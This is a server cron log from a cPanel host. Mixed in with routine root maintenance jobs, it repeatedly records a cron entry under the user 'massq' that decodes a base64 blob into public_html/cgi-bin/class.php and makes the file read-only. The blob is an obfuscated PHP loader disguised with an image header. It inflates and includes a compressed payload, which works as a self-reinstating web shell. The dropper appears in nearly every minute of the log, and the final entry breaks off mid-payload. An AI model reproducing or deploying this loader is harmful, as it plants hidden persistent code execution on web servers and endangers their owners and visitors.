Sep 11 00:33:01 server CROND[14651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:34:01 server CROND[15034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:34:01 server CROND[15035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:34:01 server CROND[15036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:35:01 server CROND[15625]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 00:35:01 server CROND[15628]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:35:01 server CROND[15633]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 00:35:01 server CROND[15637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:35:01 server CROND[15640]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 00:35:01 server CROND[15641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:35:01 server CROND[15638]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 00:35:01 server CROND[15639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:35:01 server CROND[15636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:36:01 server CROND[16469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:36:01 server CROND[16470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:36:01 server CROND[16479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:37:02 server CROND[16838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:37:02 server CROND[16839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:37:02 server CROND[16840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:38:01 server CROND[17208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:38:01 server CROND[17209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:38:01 server CROND[17210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:39:01 server CROND[17579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:39:01 server CROND[17581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:39:01 server CROND[17580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:39:01 server CROND[17582]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 00:40:01 server CROND[18073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:40:01 server CROND[18072]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 00:40:01 server CROND[18075]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:40:01 server CROND[18092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:40:01 server CROND[18090]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 00:40:01 server CROND[18093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:40:01 server CROND[18094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:40:01 server CROND[18091]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 00:41:01 server CROND[18896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:41:01 server CROND[18897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:41:01 server CROND[18898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:42:01 server CROND[19270]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 00:42:01 server CROND[19271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:42:01 server CROND[19272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:42:01 server CROND[19273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:43:01 server CROND[19659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:43:01 server CROND[19658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:43:01 server CROND[19660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:44:01 server CROND[20033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:44:01 server CROND[20034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:44:01 server CROND[20035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:45:01 server CROND[20506]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:45:01 server CROND[20508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:45:01 server CROND[20509]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 00:45:01 server CROND[20512]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:45:01 server CROND[20513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:45:01 server CROND[20510]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 00:45:01 server CROND[20511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVK